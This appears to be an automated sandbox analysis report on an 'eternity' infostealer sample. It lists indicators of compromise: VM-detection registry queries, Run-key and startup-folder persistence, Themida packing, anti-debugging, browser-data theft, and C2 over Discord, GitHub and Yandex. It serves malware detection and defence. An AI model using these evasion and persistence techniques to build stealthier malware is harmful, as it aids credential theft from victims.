eternity | 002af24c9a4a4409e615a21da2cbfa8326de58a1647b3860ae7de7cc5fcd2d95

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Growtopia.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	loader.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Growtopia.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	loader.exe

Disables Task Manager via registry modification
evasion
Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Growtopia.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Growtopia.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Growtopia.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Growtopia.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Control Panel\International\Geo\Nation	rundll32.exe
Key value queried	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Control Panel\International\Geo\Nation	Java.exe
Key value queried	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Control Panel\International\Geo\Nation	Java.exe

Drops startup file 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Growdice.exe	Growdice.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Growdice.exe	Growdice.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Growdice.exe	Growdice.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Growdice.exe	Growdice.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 37 IoCs

pid	Process
5516	Java.exe
5156	Java.exe
5268	Java.exe
3920	dcd.exe
6284	dcd.exe
6372	Java.exe
6956	Java.exe
5280	Java.exe
6428	Java.exe
5544	Java.exe
1624	GrowtopiaInstaller.exe
8	vc_redist.x64.exe
6388	vc_redist.x64.exe
7096	Growtopia.exe
4776	dcd.exe
3928	Growtopia.exe
64	dcd.exe
2708	dcd.exe
3260	dcd.exe
748	dcd.exe
5532	dcd.exe
5560	Growtopia.exe
3816	dcd.exe
600	dcd.exe
748	dcd.exe
996	dcd.exe
4412	dcd.exe
5444	dcd.exe
6048	dcd.exe
4396	python-3.12.4-amd64.exe
5436	python-3.12.4-amd64.exe
4352	python.exe
4376	python.exe
7400	py.exe
7548	python.exe
6160	python-3.12.4-amd64.exe
7204	python-3.12.4-amd64.exe

Loads dropped DLL 64 IoCs

pid	Process
3040	JavaSetup8u401.exe
3040	JavaSetup8u401.exe
3040	JavaSetup8u401.exe
5516	Java.exe
5516	Java.exe
5156	Java.exe
5156	Java.exe
5156	Java.exe
5156	Java.exe
5156	Java.exe
5268	Java.exe
6172	JavaSetup8u401.exe
6172	JavaSetup8u401.exe
6172	JavaSetup8u401.exe
6172	JavaSetup8u401.exe
6372	Java.exe
6372	Java.exe
6956	Java.exe
6956	Java.exe
6956	Java.exe
6956	Java.exe
6956	Java.exe
5280	Java.exe
6428	Java.exe
6428	Java.exe
5544	Java.exe
5544	Java.exe
1624	GrowtopiaInstaller.exe
1624	GrowtopiaInstaller.exe
1624	GrowtopiaInstaller.exe
6388	vc_redist.x64.exe
7096	Growtopia.exe
7096	Growtopia.exe
7096	Growtopia.exe
3928	Growtopia.exe
3928	Growtopia.exe
3928	Growtopia.exe
5560	Growtopia.exe
5560	Growtopia.exe
5560	Growtopia.exe
5436	python-3.12.4-amd64.exe
5404	MsiExec.exe
4352	python.exe
4352	python.exe
4352	python.exe
4352	python.exe
4352	python.exe
4352	python.exe
4376	python.exe
4376	python.exe
4376	python.exe
4376	python.exe
4376	python.exe
4376	python.exe
4376	python.exe
4376	python.exe
4376	python.exe
4376	python.exe
4376	python.exe
4376	python.exe
4376	python.exe
4376	python.exe
4376	python.exe
4376	python.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 40 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/memory/5140-8373-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5140-8372-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5140-8374-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5140-8371-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5140-8379-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5140-8378-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/3928-8382-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/3928-8380-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/3928-8383-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/3928-8397-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/3928-8399-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/3928-8398-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/3928-8381-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5140-8377-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5140-8434-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/3928-8435-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/3928-8453-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5140-8460-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5180-8514-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5180-8515-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5180-8517-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5180-8516-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5180-8521-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5180-8523-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5560-8530-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5560-8531-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5560-8528-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5180-8537-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5560-8535-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5560-8529-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5560-8527-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5560-8525-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5180-8526-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5560-8524-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5180-8522-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5560-8545-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5560-8563-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5560-8598-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5560-8639-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida
behavioral1/memory/5560-8719-0x00007FF916150000-0x00007FF916F01000-memory.dmp	themida

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Software\Microsoft\Windows\CurrentVersion\Run\EpicGamesLauncher = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\Java.exe"	cscript.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\{fb355cb0-c07e-4095-85a7-81c5a2838da6} = "\"C:\\Users\\Admin\\AppData\\Local\\Package Cache\\{fb355cb0-c07e-4095-85a7-81c5a2838da6}\\python-3.12.4-amd64.exe\" /burn.runonce"	python-3.12.4-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Software\Microsoft\Windows\CurrentVersion\Run\EpicGamesLauncher = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\Java.exe"	cscript.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\{fb355cb0-c07e-4095-85a7-81c5a2838da6} = "\"C:\\Users\\Admin\\AppData\\Local\\Package Cache\\{fb355cb0-c07e-4095-85a7-81c5a2838da6}\\python-3.12.4-amd64.exe\" /burn.runonce"	python-3.12.4-amd64.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
904	6092	msiexec.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Growtopia.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Growtopia.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Videos\Captures\desktop.ini	bcastdvr.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 15 IoCs

Web Service

T1102

flow	ioc
255	discord.com
288	discord.com
295	discord.com
253	discord.com
294	discord.com
719	raw.githubusercontent.com
788	yandex.com
254	discord.com
293	discord.com
718	raw.githubusercontent.com
791	yandex.com
267	discord.com
726	raw.githubusercontent.com
786	yandex.com
790	yandex.com

An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

pid	Process
5916	cmd.exe
6656	cmd.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 10 IoCs

pid	Process
7096	Growtopia.exe
7096	Growtopia.exe
3928	Growtopia.exe
3928	Growtopia.exe
5140	loader.exe
3928	Growtopia.exe
5560	Growtopia.exe
5560	Growtopia.exe
5180	loader.exe
5560	Growtopia.exe

Drops file in Windows directory 57 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e6937f0.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFDEF.tmp	msiexec.exe
File created	C:\Windows\Installer\e693804.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e6937e6.msi	msiexec.exe
File created	C:\Windows\Installer\e6937eb.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3C8A.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e6937f0.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{62DD7DAF-6279-46FA-A06B-C4A541244045}	msiexec.exe
File created	C:\Windows\Installer\SourceHash{4F815F87-CE9F-45CF-AEDE-EDF03728F8E6}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3A04.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI849F.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e6937e1.msi	msiexec.exe
File created	C:\Windows\Installer\e6937ef.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{3C4935A5-B72E-4DA4-809E-0287A0BC046F}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8667.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7991.tmp	msiexec.exe
File created	C:\Windows\Installer\e693808.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI36E8.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{754A267E-52AE-4A9F-AFF4-F67EDC4B3610}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3AF1.tmp	msiexec.exe
File created	C:\Windows\Installer\e6937f4.msi	msiexec.exe
File created	C:\Windows\Installer\e6937f5.msi	msiexec.exe
File created	C:\Windows\Installer\e6937fa.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e6937fa.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e6937ff.msi	msiexec.exe
File created	C:\Windows\Installer\e6937e1.msi	msiexec.exe
File created	C:\Windows\Installer\e6937ea.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{AC7F58DC-CF45-4B28-9EAE-AE152C588907}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE9C.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA72C.tmp	msiexec.exe
File created	C:\Windows\Installer\e6937e6.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{7BFF8368-33A0-4DB3-9442-F5C881FE1B4D}	msiexec.exe
File created	C:\Windows\Installer\SourceHash{AC669800-A797-444D-A450-A5109BBC74DE}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7114.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{71BC2876-3319-44FC-B5C5-1C0B86FC2733}	msiexec.exe
File created	C:\Windows\Installer\e693809.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e693804.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE002.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\e6937f5.msi	msiexec.exe
File created	C:\Windows\Installer\e6937fe.msi	msiexec.exe
File created	C:\Windows\Installer\e6937e5.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI41CD.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4F3E.tmp	msiexec.exe
File created	C:\Windows\Installer\e6937f9.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\e69380d.msi	msiexec.exe
File created	C:\Windows\Installer\e6937ff.msi	msiexec.exe
File created	C:\Windows\Installer\e693803.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{EFA83559-2E1E-4671-85F7-B28AA1DD08D7}	msiexec.exe
File opened for modification	C:\Windows\Installer\e6937eb.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e693809.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI86A8.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF8D9.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFA04.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI65D6.tmp	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 12 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_QEMU&PROD_HARDDISK\4&215468A5&0&000000	GamePanel.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	GamePanel.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags	GamePanel.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	GamePanel.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags	GamePanel.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	GamePanel.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	GamePanel.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags	GamePanel.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	GamePanel.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_QEMU&PROD_HARDDISK\4&215468A5&0&000000	GamePanel.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	GamePanel.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_QEMU&PROD_HARDDISK\4&215468A5&0&000000	GamePanel.exe

Checks processor information in registry 2 TTPs 10 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	bcastdvr.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	bcastdvr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Enumerates processes with tasklist 1 TTPs 4 IoCs

Process Discovery

T1057

pid	Process
5528	tasklist.exe
6208	tasklist.exe
5788	tasklist.exe
6004	tasklist.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.ArchiveFile\shellex	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\{AC669800-A797-444D-A450-A5109BBC74DE}\Version = "3.12.4150.0"	python-3.12.4-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\{62DD7DAF-6279-46FA-A06B-C4A541244045}\Dependents	python-3.12.4-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.NoConArchiveFile\shellex	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\{AC7F58DC-CF45-4B28-9EAE-AE152C588907}\ = "{AC7F58DC-CF45-4B28-9EAE-AE152C588907}"	python-3.12.4-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.CompiledFile\shell	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.Extension\ = "Python Extension Module"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.NoConArchiveFile\ = "Python Zip Application File (no console)"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\CPython-3.12\Version = "3.12.4150.0"	python-3.12.4-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.ArchiveFile\ = "Python Zip Application File"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer	python-3.12.4-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\.pyc	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.CompiledFile\shellex\DropHandler\ = "{BEA218D2-6950-497B-9434-61683EC065FE}"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\{3C4935A5-B72E-4DA4-809E-0287A0BC046F}\Version = "3.12.4150.0"	python-3.12.4-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.File\Shell\editwithidle\shell\edit312\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Python312\\pythonw.exe\" -m idlelib \"%L\" %*"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.File\shellex\DropHandler	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.NoConFile\Shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\.pyo\ = "Python.CompiledFile"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.NoConArchiveFile\DefaultIcon	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\{4F815F87-CE9F-45CF-AEDE-EDF03728F8E6}\DisplayName = "Python 3.12.4 Core Interpreter (64-bit)"	python-3.12.4-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\{71BC2876-3319-44FC-B5C5-1C0B86FC2733}\Dependents	python-3.12.4-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.CompiledFile\shell\open	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\{4F815F87-CE9F-45CF-AEDE-EDF03728F8E6}	python-3.12.4-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\{AC669800-A797-444D-A450-A5109BBC74DE}\Dependents\{fb355cb0-c07e-4095-85a7-81c5a2838da6}	python-3.12.4-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\CPython-3.12\Dependents\{fb355cb0-c07e-4095-85a7-81c5a2838da6}	python-3.12.4-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\.pyzw\Content Type = "application/x-zip-compressed"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\{EFA83559-2E1E-4671-85F7-B28AA1DD08D7}\Dependents\{fb355cb0-c07e-4095-85a7-81c5a2838da6}	python-3.12.4-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\{71BC2876-3319-44FC-B5C5-1C0B86FC2733}\ = "{71BC2876-3319-44FC-B5C5-1C0B86FC2733}"	python-3.12.4-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\{EFA83559-2E1E-4671-85F7-B28AA1DD08D7}\DisplayName = "Python 3.12.4 pip Bootstrap (64-bit)"	python-3.12.4-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.NoConFile\shell	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\.pyz\ = "Python.ArchiveFile"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\{754A267E-52AE-4A9F-AFF4-F67EDC4B3610}	python-3.12.4-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\{62DD7DAF-6279-46FA-A06B-C4A541244045}\DisplayName = "Python 3.12.4 Standard Library (64-bit)"	python-3.12.4-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.ArchiveFile\shell\open	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\{EFA83559-2E1E-4671-85F7-B28AA1DD08D7}	python-3.12.4-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\.py\Content Type = "text/x-python"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\.py	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\{62DD7DAF-6279-46FA-A06B-C4A541244045}\Version = "3.12.4150.0"	python-3.12.4-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\{4F815F87-CE9F-45CF-AEDE-EDF03728F8E6}\Dependents\{fb355cb0-c07e-4095-85a7-81c5a2838da6}	python-3.12.4-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\{AC669800-A797-444D-A450-A5109BBC74DE}\ = "{AC669800-A797-444D-A450-A5109BBC74DE}"	python-3.12.4-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.File\shellex	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\.pyz\Content Type = "application/x-zip-compressed"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.ArchiveFile\shellex\DropHandler	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.NoConArchiveFile	msiexec.exe
